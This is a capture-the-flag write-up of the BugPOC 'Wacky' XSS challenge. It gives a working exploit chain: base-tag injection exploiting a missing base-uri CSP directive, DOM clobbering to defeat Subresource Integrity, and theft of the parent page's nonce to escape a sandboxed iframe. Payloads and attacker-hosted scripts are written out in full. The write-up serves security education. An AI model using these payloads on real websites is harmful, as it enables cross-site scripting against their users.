Objective
- You need to pop
alert(document.domain)
on wacky.buggywebsite.com - Bypass CSP.
- Provide demo on bugpoc.
Summary of the steps involved
- Application Introduction
- Client side validation bypass
- CSP bypass
- About Subresource Integrity
- SRI bypass using DOM Clobbering
- Escaping Iframe sandbox
Introduction to the application:
The application transforms input characters into fancy colors as seen below
Checking the homepage
source code reveals 2 important files
- frame.html
- script.js
Client side validation bypass
Let us check the source code in script.js
var isChrome = /Chrome/.test(navigator.userAgent) && /Google Inc/.test(navigator.vendor);
if (!isChrome) {
document.body.innerHTML = `<h1>Website Only Available in Chrome</h1>
<p style="text-align:center"> Please visit <a href="https://www.google.com/chrome/">https://www.google.com/chrome/</a> to download Google Chrome if you would like to visit this website</p>.`;
}
document.getElementById("txt").onkeyup = function() {
this.value = this.value.replace(/[&*<>%]/g, '');
};
document.getElementById('btn').onclick = function() {
val = document.getElementById('txt').value;
document.getElementById('theIframe').src = '/frame.html?param=' + val;
};
It reveals that
- The app works only with chrome.
- Every character we input to the application will be filtered for special characters
&*<>%
- The input will be the value for
iframe src
attribute once we click the ‘Make Wacky!
’ button.
Anyways, We can directly access frame.html. So lets ignore the homepage.
Let us visit frame.html
OK!. There is some check being done to make sure this page is loaded only inside an iframe
Let us check the source code of frame.html
Ok, The check was to compare window.name
property value is set to iframe
or not!. Window is an object that represents an open window in browser. It has name property that sets/gets the name of the window’s browsing context.
This is easy to bypass. We need to create a simple page. Open dev-console and set window.name
property to iframe
and then set window.location
to frame.html’s url as seen below.
Thus, ‘hello
’ will be printed on page without iframe as seen below.
Now let us identify the input reflection points and JavaScript functionality.
So there are 2 reflection points
- within <title>
- within <body>
Below is the script that performs the transformation
// array of colors
var colors = [
“#006633”,
“#00AB8E”,
“#009933”,
“#00CC33”,
“#339966”,
];
// array of fonts
var fonts = [
“baloo-bhaina”,
“josefin-slab”,
“arvo”,
“lato”,
“volkhov”,
“abril-fatface”,
“ubuntu”,
“roboto”,
“droid-sans-mono”,
“anton”,
];
function randomInteger(max) {
return Math.floor(Math.random() * Math.floor(max));
}
function makeRandom(element) {
for (var i = 0; i < element.length; i++) {
var createNewText = ‘’;
var htmlColorTag = ‘color:’;
for (var j = 0; j < element[i].textContent.length; j++) {
var riFonts = randomInteger(fonts.length);
var riColors = randomInteger(colors.length);
createNewText = createNewText + “<span class=’” + fonts[riFonts] + “‘ style=’” + htmlColorTag + colors[riColors] + “‘>” + element[i].textContent[j] + “</span>”;
}
element[i].innerHTML = createNewText;
}
}
var text = document.getElementsByClassName(‘text’);
makeRandom(text);
The makeRandom() function processes the user input text which inturn choses a random integer which maps to font
and color
arrays. Thus, the input is trasnformed into a set of <span>
tags.
CSP bypass
To reduce my interaction with dev console. I have created a simple page to accept payload and do the things as seen below.
<html>
<head> <script type=”text/javascript”>
function attack(){
var payload = document.getElementById(‘payload’).value;
console.log(“Payload is : “ + payload);
window.name=”iframe”;
window.location=’https://wacky.buggywebsite.com/frame.html?param='+payload;
}
</script>
</head>
<body>
<h1>BugPOC XSS Challenge — Wacky</h1>
<h2>Enter Payload</h1>
<textarea id=”payload” name=”payload” rows=”4" cols=”50"></textarea>
<input type=”button” name=”submit” value=”Submit” onclick=”attack()”/>
</body>
</html>
Now Let us try a simple payload like </title><script>alert(1)</script>
. Im closing the title tag because we are focusing on that reflection point.
There is a CSP error message. So lets examine the CSP headers.
The content-security-policy
is set to the value script-src ‘nonce-siajotuwsypg’ ‘strict-dynamic’; frame-src ‘self’; object-src ‘none’;
Now let us see what each of the directive means:
- script-src: specifies valid sources for javascript. It has values
nonce
andstrict-dynamic
as discussed below - nonce-<base64value>: An allow-list for specific inline scripts using a cryptographic nonce. The server must generate a unique nonce value each time it transmits a policy. That means, whenever you request a page, all the inline scripts should have a
nonce
attribute withvalue
matching the one in csp header’snonce
value. In the above image thenonce
value issiajotuwsypg
that must be present in all inline scripts. The nonce is considered valid when it matches the one in CSP header and it will be parsed or else it wont!
- strict-dynamic: propagates trust to non-parser-inserted JS. Example as seen below
- object-src: specifies legit sources for
<object>
element. which is set to ‘none’. - frame-src: specifies valid sources for nested browsing contexts(iframes). It has a value self which refers to the origin from which the protected document is being served
Let us quickly validate this csp using google’s csp-evaluator
As you can see base-uri
is missing. What is base-uri
?
- base-uri: restricts the URLs which can be used in a document’s
<base>
element. If this value is absent, then any URI is allowed and the user agent will use the value in the<base>
element. In simple terms, if we can inject<base href=’http://evil.com’>
then any relative path resources(css,js, etc..) will be loaded fromhttp://evil.com/
So let us inject the payload </title><base href=’http://localhost/>
Good, Now that we are able to manipulate from where resources will be fetched. Notice that application accesses files/analytics/js/frame-analytics.js
. We shall proceed with creating this file
$ cat > files/analytics/js/frame-analytics.js
console.log(“frame analytics loaded”);
As well as make sure the Access-Control-Allow-Origin
is set to *
in your server configuration and retry the same payload
Now that we are able to serve the frame-analytics.js
but, it is failing the initigrity check.
Subresource Integrity
Subresource Integrity(SRI) is a security feature that enables browsers to verify that resources they fetch are delivered without unexpected manipulation(preventing MITM). It works by allowing you to provide a cryptographic hash that a fetched resource must match.
SRI can be calculated as below
$ openssl dgst -sha256 -binary ./jquery.js | openssl base64 -A
Mw4G1iz5x683sEe3vEP2UpWLoHx15Pbp5yaWMZ0MTms=
So, Developers hard code this hash in client-side and every resource fetched from CDN etc.. are checked for their integrity accordingly.
Let us revisit the frame.html
source code to check how the SRI validation is being done
3 things to be noted:
- Signature value is assigned to window.fileIntegrity.value property
- dynamic sandboxed iframe creation
- sha256 integrity value assigned to that iframe
The below is how the iframe
is renderred.
Things to note:
- sandbox : specifies restrictions to the content in the frame. There can be multiple values and explained in detail here. The
allow-scripts
value lets the resource run scripts. That means we can execute javascript in this iframe context. - src: The
frame-analytics.js
which is already in our control will be fetched and executed. Unfortunately, it wont execute. All due to theintegrity
attribute - integrity: It has a value beginning with at least one string, with each string including a prefix indicating a particular hash algorithm followed by a dash, and ending with the actual base64-encoded hash. Example: (
sha256-unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=
)
So this hash must match the calculated hash of frame-analytics.js
. How can we do it?
SRI Bypass using DOM Cloberring
DOM Cloberring is a technique in which you inject HTML into a page to manipulate the DOM and ultimately change the behavior of JavaScript on the page. You can change a global variable or property of an object and overwriting it with a DOM node or HTML collection instead. For more info check portswiggerlabs
Since we can inject HTML content already. We can clobber the reference to fileIntegrity.value
attribute. I choose a HTML tag that has value attribute in it. Guess which?.. Yeah! <input>
tag
so the following payload would clobber the reference to fileIntegrity
object
<input id=fileIntegrity/><input id=fileIntegrity name=value value=”<hashalg-value>”/>
So lets get the hash value.
$ cat frame-analytics.js
console.log(“frame analytics js test file”);
$ openssl dgst -sha256 -binary ./frame-analytics.js | openssl base64 -A
BwOog9WdXT4OC8VpThtQ3FObfdM1FC7I9CLQ2xhRCRg=
The updated payload
</title><base href=’http://localhost'><input id=fileIntegrity/><input id=fileIntegrity name=value value=”BwOog9WdXT4OC8VpThtQ3FObfdM1FC7I9CLQ2xhRCRg=”/>
Submit and verifying whether the object cloberring is success using debugger
Perfect. We overwritten the reference to the objectfileIntegrity
and the frame-analytics.js
code got executed as seen below.
That’s it?. Just update the file with alert(document.domain)
and solve the challenge? No.. Because the iframe
is sandboxed and there is no allow-modals
value set which allows opening of modal windows. That means alert,prompt,confirm wont be executed. Failure…!
Escaping Iframe sandbox
Since we can execute javascript. My approach is as follows
- The
frame-analytics.js
script that we imported should write another<script>
tag dynamically. - The created
<script>
tag should be inparent
document(Not within the iframe) - The created
<script>
tag should have validnonce
value. Because of CSP :-/ we need to dynamically fetch and reuse it while creating this tag. - The
<script>
tag should includesrc
attribute to another external script. Why? becauseunsafe-inline
is not set andstrict-dynamic
would prevent us writing inside a tag usinginnerHTML
.
Here is how the frame-analytics.js
looks
//get all <script> tags from parent document
var tags = parent.document.getElementsByTagName(“script”);
var currentNonce;
//iterate the tags and get the nounce.
for(i=0;i< tags.length ;i++){
if(tags[i].nonce.length>3){
currentNonce=tags[i].nonce;
console.log(“Nonce “+ currentNonce);
}
}
//create script tag with nounce we got above
//and include another js file to pop alert
var s = parent.document.createElement(‘script’);
s.setAttribute(‘nonce’,currentNonce);
s.src = “files/analytics/js/alert.js”;
parent.document.body.appendChild(s);
Here is how the alert.js
looks
alert(document.domain);
Calculate the hash and update the payload as below
</title><base href=’http://localhost'><input id=fileIntegrity/><input id=fileIntegrity name=value value=”eyP6Vot1k3ef7/HfX2UlrND38sPbFcvgsOufjdVBKmo=”/>
and…
This is what the HTML source looks
Also I think there are other solutions which im looking forward.
References: